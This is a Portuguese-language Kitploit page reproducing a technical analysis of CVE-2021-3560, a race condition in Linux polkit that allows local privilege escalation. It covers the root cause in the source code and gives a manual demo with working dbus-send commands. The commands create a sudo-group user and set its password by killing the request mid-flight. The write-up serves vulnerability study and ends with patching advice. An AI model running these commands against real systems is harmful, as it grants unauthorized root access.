Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-3560 — Análise aprofundada da CVE-2021-3560, uma vulnerabilidade de escalonamento local de privilégios no Linux PolKit. Inclui análise da causa raiz, mecânica do exploit e uma demonstração da condição de corrida que leva ao acesso root. | Kitploit
Ferramentas/GitHubGitHub/chenaotian/cve-2021-3560
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoAnálise de BináriosAprendizado e Educação
GitHubchenaotian/cve-2021-3560

CVE-2021-3560

Análise aprofundada da CVE-2021-3560, uma vulnerabilidade de escalonamento local de privilégios no Linux PolKit. Inclui análise da causa raiz, mecânica do exploit e uma demonstração da condição de corrida que leva ao acesso root.

Ver Repositório
932há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Análise de Elevação de Privilégio Local por Condição de Corrida no PolKit (CVE-2021-3560)

[toc]

Resumo da Vulnerabilidade

ID da vulnerabilidade: CVE-2021-3560

Pontuação da vulnerabilidade:

Produto vulnerável: linux PolKit (polkitd)

Escopo de impacto: introduzido no código-fonte 0.113; https://www.venustech.com.cn/new_type/aqtg/20210611/22788.html

  • RHEL 8
  • Fedora 21 e posteriores
  • Debian testing (“bullseye”)
  • Ubuntu 20.04

Condições de exploração: linux local; dbus + polkitd presente

Efeito da exploração: elevação de privilégio local

Obtenção do código-fonte:

  • polkit-0.113: https://launchpad.net/debian/+source/policykit-1/0.113-5
  • accountsservice: apt source accountsservice
  • dbus: apt source dbus

Configuração do Ambiente

A imagem padrão do Ubuntu ubuntu-20.04.2 já pode ser reproduzida: http://old-releases.ubuntu.com/releases/20.04.2/ubuntu-20.04.2-desktop-amd64.iso

Princípio da Vulnerabilidade

Ponto Ocorrente da Vulnerabilidade

Primeiro, veja o código do problema

/polkit-0.113/src/polkit/polkitsystembusname.c : 388 : polkit_system_bus_name_get_creds_sync

root@kitploit:~
static void
on_retrieved_unix_uid_pid (GObject              *src,
			   GAsyncResult         *res,
			   gpointer              user_data)
{
  AsyncGetBusNameCredsData *data = user_data;
  GVariant *v;

  v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
				     data->caught_error ? NULL : data->error);
  if (!v)
    {
      data->caught_error = TRUE; //某些原因失败之后设置error位
    }
  else
  {
      ··· ···//执行成功的数据处理
  }
  ··· ···
}

static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
				       guint32                       *out_uid,
				       guint32                       *out_pid,
				       GCancellable                  *cancellable,
				       GError                       **error)
{
  gboolean ret = FALSE;
  AsyncGetBusNameCredsData data = { 0, }; //data 被初始化为0
  ··· ···
  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixUser",      /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, //回调函数
			  &data);
  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixProcessID", /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, //回调函数
			  &data);

  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
    g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常

  if (out_uid)
    *out_uid = data.uid;
  if (out_pid)
    *out_pid = data.pid;
  ret = TRUE; //无论如何都是 TRUE?
 out:
  if (tmp_context)
    {
      g_main_context_pop_thread_default (tmp_context);
      g_main_context_unref (tmp_context);
    }
  if (connection != NULL)
    g_object_unref (connection);
  return ret;
}

Na função polkit_system_bus_name_get_creds_sync, que realiza a autenticação de identidade para certas requisições (a lógica do cenário específico será detalhada posteriormente). Ela chama os métodos GetConnectionUnixUser e GetConnectionUnixProcessID através do barramento org.freedesktop.DBus. Esses métodos, fornecidos pelo barramento org.freedesktop.DBus, obtêm o PID e o UID do processo solicitante, que são passados para a função de retorno on_retrieved_unix_uid_pid para processar os dados retornados. Em seguida, o código aguarda bloqueando até que o barramento termine o processamento.

Pode-se ver na função on_retrieved_unix_uid_pid que, com base no resultado retornado pelo barramento, define se houve uma exceção (error?) e então define o sinalizador de exceção. Se a execução for bem-sucedida, retorna normalmente o UID do usuário ou o PID do processo. Mas, na função polkit_system_bus_name_get_creds_sync, após aguardar bloqueando o retorno do barramento (julgando se os sinalizadores de processamento indicam que tanto UID quanto PID foram processados ou que ocorreu uma exceção), ou seja, logicamente, o barramento pode retornar três resultados: obter UID de usuário 0 (usuário privilegiado); obter UID de usuário não zero (usuário comum); ou exceção. No entanto, no processamento posterior, não há tratamento para exceções: ele define diretamente out_uid a ser retornado para a camada superior como data.uid retornado pelo barramento e define ret como TRUE:

root@kitploit:~
  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
    g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常

  if (out_uid)
    *out_uid = data.uid;
  if (out_pid)
    *out_pid = data.pid;
  ret = TRUE; //无论如何都是 TRUE?

Mas ignora uma situação: quando a execução no barramento DBUS resulta em exceção, a função de retorno define o sinalizador de exceção e retorna sem processar os dados data, que foi inicializado como 0. Isso faz com que posteriormente out_uid seja definido como 0, ou seja, usuário privilegiado.

Então, onde essa função problemática polkit_system_bus_name_get_creds_sync é usada?

Caminho de Gatilho

O ponto vulnerável está no processo polkitd:

polkit é um conjunto de ferramentas em nível de aplicação que, através da definição e auditoria de regras de permissão, possibilita a comunicação entre processos de diferentes prioridades: as decisões de controle são centralizadas em um framework unificado, determinando se um processo de baixa prioridade tem acesso a um processo de alta prioridade.

Resumindo, é um processo root executado em segundo plano que, por meio de comunicação entre processos, realiza um julgamento de permissão quando outros processos de baixa prioridade tentam acessar funcionalidades fornecidas por processos de alta prioridade. Como anexar um depurador a esse processo o reinicia, só podemos analisar pelo código-fonte para encontrar o caminho de gatilho da função vulnerável:

O polkitd utiliza extensivamente o framework de comunicação entre processos gio DBUS. Pode-se consultar previamente o manual e prestar atenção a algumas funções importantes.

A seguir, analisa-se o caminho de gatilho da vulnerabilidade no polkitd:

  1. Primeiro, o main:

    polkit-0.113\src\polkitbackend\polkitd.c : 155 : main

    root@kitploit:~
    int
    main (int    argc,
          char **argv)
    {
      ··· ···
      ··· ···
    
      loop = g_main_loop_new (NULL, FALSE);
    
      sigint_id = g_unix_signal_add (SIGINT,
                                     on_sigint,
                                     NULL);
    
      name_owner_id = g_bus_own_name (G_BUS_TYPE_SYSTEM,
                                      "org.freedesktop.PolicyKit1",  //注册了一个总线名称
                                      G_BUS_NAME_OWNER_FLAGS_ALLOW_REPLACEMENT |
                                        (opt_replace ? G_BUS_NAME_OWNER_FLAGS_REPLACE : 0),
                                      on_bus_acquired, //访问该总线时的回调函数
                                      on_name_acquired,
                                      on_name_lost,
                                      NULL,
                                      NULL);
    
      g_print ("Entering main event loop\n");
      g_main_loop_run (loop); //循环启动
      ··· ···
      ··· ···
    }
    
  2. Primeiro, registra um barramento chamado org.freedesktop.PolicyKit1, e há três funções de retorno; foca principalmente em on_bus_acquired, que é chamada quando o barramento é acessado.

  3. Na função on_bus_acquired, chama diretamente uma função de registro de tipo polkit_backend_authority_register

Ou seja, quando outras funções chamam o método CheckAuthorization no barramento org.freedesktop.PolicyKit1.Authority, sob certas circunstâncias (controlar a obtenção do UID solicitante no DBUS para retornar uma exceção), pode afetar a correção da autenticação da identidade desse método. Como podemos olhar diretamente a resposta, o método de exploração da vulnerabilidade é usar o account-daemon

Exploração da Vulnerabilidade

Análise Geral

Primeiro, citamos esta imagem do autor do exploit:

image-20220131163536269

Apresentando os elementos da imagem:

  • polkitd, dbus-daemon e account-daemon são três processos de serviço em segundo plano executados com privilégios root.

  • dbus-daemon é um "roteador" de comunicação entre processos, ou seja, o núcleo do framework de comunicação entre processos GIO DBUS mencionado acima. Minha compreensão é que diferentes processos podem registrar nomes de barramento aqui, e os processos que desejam se comunicar com você podem acessar o nome do barramento, interface e nome do método para chamar funções no seu processo. As funções do processo polkitd descritas acima são registradas no DBUS aguardando chamadas de outros processos.

  • account-daemon é semelhante ao polkitd: registra o barramento org.freedesktop.Accounts no DBUS e fornece uma série de métodos relacionados a contas, como adicionar usuários e definir senhas, que serão usados a seguir. E antes de operações como adicionar usuários, esse processo realiza uma autenticação do usuário, e o método de autenticação utilizado é exatamente o método de barramento vulnerável CheckAuthorization fornecido pelo processo polkitd.

Portanto, a sequência geral de eventos da exploração da vulnerabilidade é:

  1. Usar o comando dbus-send para enviar uma mensagem ao processo account-daemon solicitando a criação de um usuário administrador (o método CreateUser fornecido por esse processo adiciona por padrão um usuário administrador), mas com nossa identidade não podemos concluir essa operação.
  2. Após a mensagem ser enviada ao processo account-daemon, ele solicitará ao processo polkitd uma verificação de permissão para aprovar a operação de adição de usuário.
  3. O polkitd perguntará ao barramento sobre o usuário e o ID do processo que fez a solicitação de criação.
    • Precisamos fazer o seguinte: no intervalo entre o envio da mensagem e a consulta do polkitd sobre a permissão do processo solicitante, matar o processo solicitante (ou seja, o processo dbus-send).
  4. Nesse momento, o barramento descobre que o processo solicitante da adição de usuário já desapareceu e retorna uma exceção.
  5. Após a análise acima, o ponto vulnerável está no processo polkitd, que considera a exceção como sucesso e assume que o UID do usuário é 0, ou seja, usuário privilegiado. Isso aciona a vulnerabilidade e permite a operação.
  6. Embora o processo dbus-send tenha sido morto, causando uma exceção na detecção do barramento, o não é afetado; depois que o recebe a mensagem, ele não se importa mais se o processo solicitante ainda existe.

Análise do Comportamento de Comunicação do account-daemon

Como o dbus-daemon é apenas um processo intermediário, não o analisaremos em detalhes, mas aqui analisamos o processo account-daemon, que é o processo chave no processo de exploração. Este processo também usa o framework GIO DBUS. Vamos analisar brevemente alguns pontos importantes. Primeiro, vejamos

accountsservice-0.6.45\src\daemon.c : 90

root@kitploit:~
static void daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface);

G_DEFINE_TYPE_WITH_CODE (Daemon, daemon, ACCOUNTS_TYPE_ACCOUNTS_SKELETON, G_IMPLEMENT_INTERFACE (ACCOUNTS_TYPE_ACCOUNTS, daemon_accounts_accounts_iface_init));
··· ···
static void
daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface)
{
        iface->handle_create_user = daemon_create_user;
        iface->handle_delete_user = daemon_delete_user;
        ··· ···
}

Aqui são usadas as macros G_DEFINE_TYPE_WITH_CON e G_IMPLEMENT_INTERFACE para executar a função daemon_accounts_accounts_iface_init. O significado dessas duas macros é que elas executarão a função daemon_accounts_accounts_iface_init em algum momento; nesta função, o método create_user é registrado. Vejamos diretamente a implementação da função daemon_create_user:

accountsservice-0.6.45\src\daemon.c : 1099

root@kitploit:~
static gboolean
daemon_create_user (AccountsAccounts      *accounts,
                    GDBusMethodInvocation *context,
                    const gchar           *user_name,
                    const gchar           *real_name,
                    gint                   account_type)
{
        ··· ···
        data = g_new0 (CreateUserData, 1);
        data->user_name = g_strdup (user_name);
        data->real_name = g_strdup (real_name);
        data->account_type = account_type;

        daemon_local_check_auth (daemon,
                                 NULL,
                                 "org.freedesktop.accounts.user-administration",
                                 TRUE,
                                 daemon_create_user_authorized_cb, //回调函数
                                 context,
                                 data,
                                 (GDestroyNotify)create_data_free);

        return TRUE;
}

Em daemon_create_user, chama a função daemon_local_check_auth para verificar se a permissão do usuário solicitante é permitida; se bem-sucedida, chama a função de retorno daemon_create_user_authorized_cb. Primeiro, vejamos a função de autenticação daemon_local_check_auth:

accountsservice-0.6.45\src\daemon.c : 1388 : daemon_local_check_auth

root@kitploit:~
void
daemon_local_check_auth (Daemon                *daemon,
                         User                  *user,
                         const gchar           *action_id,
                         gboolean               allow_interaction,
                         AuthorizedCallback     authorized_cb,
                         GDBusMethodInvocation *context,
                         gpointer               authorized_cb_data,
                         GDestroyNotify         destroy_notify)
{
        ··· ···
        polkit_authority_check_authorization (daemon->priv->authority,
                                              subject,
                                              action_id,
                                              NULL,
                                              flags,
                                              NULL,
                                              (GAsyncReadyCallback) check_auth_cb,
                                              data);
        ··· ···
}

Aqui é chamada a função polkit_authority_check_authorization para autenticação. polkit_authority_check_authorization é uma função de biblioteca fornecida por libpolkit-gobject-1.so.0, que chama diretamente o método CheckAuthorization no barramento org.freedesktop.PolicyKit1.Authority do processo polkitd analisado acima para autenticação. Se a autenticação for bem-sucedida, chama a função de retorno daemon_create_user_authorized_cb:

accountsservice-0.6.45\src\daemon.c : 1051 : daemon_create_user_authorized_cb

root@kitploit:~
static void
daemon_create_user_authorized_cb (Daemon                *daemon,
                                  User                  *dummy,
                                  GDBusMethodInvocation *context,
                                  gpointer               data)

{
        ··· ···

        argv[0] = "/usr/sbin/adduser";
        argv[1] = "--quiet";
        argv[2] = "--disabled-login";
        argv[3] = "--gecos";
        argv[4] = cd->real_name;
        argv[5] = cd->user_name;
        argv[6] = NULL;

        error = NULL;
        if (!spawn_with_login_uid (context, argv, &error)) { //添加用户
                throw_error (context, ERROR_FAILED, "running '%s' failed: %s", argv[0], error->message);
                g_error_free (error);
                return;
        }

        if (cd->account_type == ACCOUNT_TYPE_ADMINISTRATOR) {
                add_user_to_group (context, cd->user_name, "sudo"); //将用户添加到sudo 组
        }

        ··· ···
}

Aqui está muito claro: após adicionar o usuário com sucesso, ele o adiciona diretamente ao grupo sudo, então no exploit, após adicionar o usuário, pode-se mudar para root com sudo su root.

A seguir, vejamos um demo de exploração manual.

Demo

Usando o comando dbus-send como usuário comum para enviar uma solicitação de criação de usuário ao account-daemon:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

Esta solicitação, em sistemas operacionais com interface gráfica, exibirá uma janela para inserir senha:

image-20220131153323446

Em terminais de linha de comando como SSH, falha diretamente:

image-20220131153521697

De acordo com a ideia de exploração acima, primeiro vejamos o tempo de execução do comando:

root@kitploit:~
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

image-20220131153802829

Em seguida, escolha matar o comando aproximadamente na metade do tempo de execução para ter chance de acionar a vulnerabilidade e criar com sucesso:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1 & sleep 0.04s ; kill $!

Executando várias vezes, pode ter sucesso:

image-20220131154220337

E também está no grupo sudo:

image-20220131154304858

Depois, com o mesmo método, adiciona uma senha:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$jgqh/7aYiUhpISRA$awGxCtnbYKoAtNVtzUvd6jxw/.1VApN5CvUYyLXUMj0' string:Whatever & sleep 0.04s ; kill $!

User1002 precisa ser ajustado de acordo com o UID do usuário recém-criado; a senha usa o valor hash. Em seguida, mude para o usuário.

Exploit

Aqui não foi detalhado um exploit específico; basicamente, é automatizar os comandos acima. O exploit em C do GitHub também funciona.

hakivvi/CVE-2021-3560

Medidas Mitigadoras

Atualizar para a versão mais recente

Referências

Divulgação da vulnerabilidade (github): https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

hakivvi/exp(github): https://github.com/hakivvi/CVE-2021-3560

m0_56642842(CSDN): https://blog.csdn.net/m0_56642842/article/details/118807718?spm=1001.2014.3001.5502

Baixar ferramenta
  • Na função polkit_backend_authority_register, registra um objeto de interface org.freedesktop.PolicyKit1.Authority e passa uma tabela de funções de retorno server_vtable. O ponto de gatilho da vulnerabilidade está nessa tabela de funções de retorno:

    policykit-1_0.113.orig\polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 1333 : server_vtable

    root@kitploit:~
    static const GDBusInterfaceVTable server_vtable =
    {
      server_handle_method_call, //回调函数
      server_handle_get_property,
      NULL, /* server_handle_set_property */
    };
    static void
    server_handle_method_call (GDBusConnection        *connection,
                               const gchar            *sender,
                               const gchar            *object_path,
                               const gchar            *interface_name,
                               const gchar            *method_name,
                               GVariant               *parameters,
                               GDBusMethodInvocation  *invocation,
                               gpointer                user_data)
    {
      Server *server = user_data;
      PolkitSubject *caller;
    
      caller = polkit_system_bus_name_new (g_dbus_method_invocation_get_sender (invocation));
    
      if (g_strcmp0 (method_name, "EnumerateActions") == 0)
        server_handle_enumerate_actions (server, parameters, caller, invocation);
      else if (g_strcmp0 (method_name, "CheckAuthorization") == 0)
        server_handle_check_authorization (server, parameters, caller, invocation); //漏洞函数路径在这里
      ··· ···
      ··· ···
    }
    

    Quando outros processos chamam o método CheckAuthorization no barramento, a função server_handle_check_authorization é invocada.

  • Na função server_handle_check_authorization, chama polkit_backend_authority_check_authorization

  • Na função polkit_backend_authority_check_authorization, através de um callback, chama klass->check_authorization, cuja função registrada é polkit_backend_interactive_authority_check_authorization:

    polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 195 : polkit_backend_authority_check_authorization

    root@kitploit:~
    void
    polkit_backend_authority_check_authorization (PolkitBackendAuthority        *authority,
                                                  PolkitSubject                 *caller,
                                                  PolkitSubject                 *subject,
                                                  const gchar                   *action_id,
                                                  PolkitDetails                 *details,
                                                  PolkitCheckAuthorizationFlags  flags,
                                                  GCancellable                  *cancellable,
                                                  GAsyncReadyCallback            callback,
                                                  gpointer                       user_data)
    {
      ··· ···
      if (klass->check_authorization == NULL)
        {
          ··· ···
        }
      else
        {
          klass->check_authorization (authority, caller, subject, action_id, details, flags, cancellable, callback, user_data); // 注册的是polkit_backend_interactive_authority_check_authorization
        }
    }
    authority_class->check_authorization             = /
    polkit_backend_interactive_authority_check_authorization; //在别处初始化的
    
  • Em seguida, basta seguir a ordem: check_authorization_sync

  • polkit_backend_session_monitor_get_user_for_subject

  • Função vulnerável: polkit_system_bus_name_get_user_sync

  • dbus-send é um comando; o barramento DBUS fornece algumas interfaces de programação para comunicação entre processos, bem como comandos de linha de comando que podem enviar mensagens diretamente a processos fixos para chamar seus métodos.

  • account-daemon
    account-daemon
  • O account-daemon recebe a resposta do polkitd autorizando a adição e cria o usuário, completando a exploração.